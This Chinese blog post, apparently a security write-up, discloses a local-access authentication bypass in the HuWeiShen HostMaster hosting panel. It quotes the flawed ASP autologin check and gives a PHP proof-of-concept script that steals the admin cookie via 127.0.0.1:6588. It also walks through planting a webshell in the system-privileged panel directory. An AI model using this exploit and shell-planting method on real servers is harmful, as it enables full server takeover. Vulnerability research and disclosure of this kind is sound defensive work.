“护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神14年安全防护经验,严格限制每个站点独立权限,彻底阻挡跨站入侵。

这话说的有点绝对性,做安全是没有绝对的安全的,如果哪家做安全的敢那样说,绝对不会出问题那肯定是在对客户的不负责任。安全是相对的,需要知己知彼 双方的配合以及安全的不断完善化才能把安全做道最大化的保障。

先看看装好后的软件界面,可以看到一些常见的主机操作功能。其中网站管理引起了我的注意,点开瞅瞅

点开之后就直接进去了,WTF?

从逻辑流程来看这里很明显有问题,撸开代码看看怎么验证的。虚拟主机管理系统运行在6588端口。且采用asp语言开发。程序路径为x:\HwsHostMaster\host\web\下,且默认为system权限运行。

/admin/index.asp

<%Option Explicit%>
<!--#include file="../conn.asp"-->
<%
Dim strIp
strIp = Request.ServerVariables("local_addr")
Dim strAuto
strAuto = LCase(Trim(Request.QueryString("f")))
If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin"  Then'获取管理用户登录Dim sql,rscall conn_open()Set rs = Server.CreateObject("Adodb.Recordset")sql = "select top 1 * from [huweishen_Admin]"rs.Open sql,conn,1,1if rs.RecordCount = 0 thenSession("admin")= "autologin"elseSession("admin") = rs("username")end ifrs.CloseSession.Timeout =600AddLog Session("admin"), 1, "控制台直接登录管理中心"Response.Redirect "index.asp"
End If
%>

代码乍一看好像没啥问题,但是开发者疏忽了一个问题,第9行判断来源ip是否为本地访问,strIp变量来自Request.ServerVariables(“local_addr”) ,如果为本地访问且strAuto=autologin则直接登入系统,无需账号密码验证,这就出现一个问题了,开发者未考虑内部用户是否合法,如果我获取到一个低权限的webshell、那就相当于获取到一个本地身份了。那么我就可以直接访问到虚拟主机管理后台了。那么就可以为所欲为了。

本漏洞利用前提是已经获取到虚拟主机上的一个webshell,其次在通过以下脚本获取cookie即可进入虚拟主机管理后台。

<?php
function httpGet() {$url = '[http://127.0.0.1:6588/admin/index.asp?f=autologin](http://127.0.0.1:6588/admin/index.asp?f=autologin)';$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response headercurl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response bodycurl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);curl_setopt($ch, CURLOPT_TIMEOUT, 120);$result = curl_exec($ch);return $result;
}
echo httpGet();
?>

将该脚本上传至服务器,访问后即可获取到管理员cookie。在本地修改cookie后即可进入到虚拟主机管理后台。绕过登录限制。

直接访问需要登录

通过脚本获取cookie

修改cookie后直接访问/admin/index.asp,进入后台

进入后台后点击网站列表,随便选择一个网站,点击解压进入操作界面,通过FTP或其他方式上传shell压缩包,然后输入文件名和解压路径,解压路径选择护卫神管理系统路径,一般为X:\HwsHostMaster\host\web\ X为任意盘符。

在我这里普通网站目录和护卫神管理系统都在D盘下,所以采用相对路径指向到虚拟主机管理系统web路径即可点击解压以后,shell就躺在管理系统目录下了。并且为system权限。成功获取到高权身份

该漏洞利用场景较为鸡肋,前提要求已经获取到该主机上的shell,才可采用该方法进行提权。开发者在开发过程中不要对内部不要过于信任,因为你也无法确保内部绝对的安全。

护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)相关推荐

  1. 护卫神mysql提权_护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机大师安装的软件)...

    原标题:护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机大师安装的软件) "护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+ ...

  2. 护卫神mysql提权_护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)...

    "护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机.SQL Server和 ...

  3. 护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)...

    "护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机.SQL Server和 ...

  4. 护卫神mysql提权_护卫神主机大师提权漏洞利用分析

    *本文原创作者:Freedom,本文属FreeBuf原创奖励计划,未经许可禁止转载 0x01 前言 护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+My ...

  5. (墨者学院)-主机溢出提权漏洞分析

    需要的小知识大纲 1.掌握文件上传的技巧: 2.掌握IIS中间件存在的畸形解析漏洞: 3.了解Windows系统CMD命令执行: 4.了解查看操作系统安全补丁情况: 5.了解Windows操作系统的文 ...

  6. Linux 系统安全 - 近期发现的 polkit pkexec 本地提权漏洞(CVE-2021-4034)修复方案

    时间: 20220-1-25 事件: qualys 安全研究人员披露 CVE-2021-4034 polkit pkexec 本地提权漏洞细节. 漏洞描述: polkit pkexec 中对命令行参数 ...

  7. Snap 程序包管理器被爆Linux 提权漏洞

     聚焦源代码安全,网罗国内外最新资讯! 编译:代码卫士 Canonical 公司旗下产品 Snap 软件封装和部署系统中出现多个漏洞,其中最严重漏洞可被用于提权,获得root权限. Snaps 是自包 ...

  8. SaltStack 修复 Stack minion中的提权漏洞 (CVE-2020-28243)

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 Salt Project 修复了影响 SaltStack Salt minions中的一个提权漏洞 (CVE-2020-28243). ...

  9. Metasploit上使用RPC方式复现一个Linux提权漏洞

    序 学习了几天pwn的栈溢出知识后,收到了期待已久的任务--在metasploit上使用RPC的方式复现一个Linux提权漏洞,学长说这是一个偏向探索性质的,为了督促自己和提高效率,利用这种方式记录下 ...

最新文章

  1. shell中sed命令的用法
  2. DayDayUp:教你一招如何在道客巴巴免费下载自己被侵权的文章
  3. DCMTK:列出dicom文件的内容
  4. [ccf 4] 网络延时
  5. 如何自动打开function对应的ABAP class
  6. android开发出现的错误,android 开发 错误集锦
  7. 中秋应景诗词歌赋赏析
  8. Vector:动态数组的使用和说明
  9. 寻找素数分配线程算法
  10. 95-138-010-源码-Function-CoFlatMapFunction
  11. 完全使用linux工作 pdf下载,完全用Linux工作-计算机.pdf
  12. 【bzoj3297】[USACO2011 Open]forgot STL+dp
  13. zend studio10运行php,加速Zend Studio 运行的10点技巧
  14. Weka下载安装详解
  15. C++ primer(第5版)第三章 字符串、向量和数组 学习笔记
  16. 免费下载思维导图模板的方法
  17. 用安卓手机搭建一个可用渗透测试环境/安卓手机搭建linux环境
  18. 学习R语言这几本电子书就够了!
  19. windows WinExec()
  20. 迅歌KTV服务器各型号,2017年ktv必点歌曲排行榜

热门文章

  1. Mac Pro 软件收藏
  2. qemu声卡模拟原理-基本使用方法
  3. centos7编译安装mysql5.7
  4. 猜灯谜c语言程序,猜谜游戏-C语言
  5. iwebshop的WAMP环境部署
  6. ffmpeg-实现视频 metadata(moov) 前置
  7. 多子系统多业务模块的复杂数据处理——基于指令集物联网操作系统的项目开发实践
  8. python猜一个数猜对为止_python猜数字游戏while
  9. 会考计算机资料,高中计算机会考选择题资料(全)
  10. 福布斯2011中国富豪榜:李彦宏成内地首富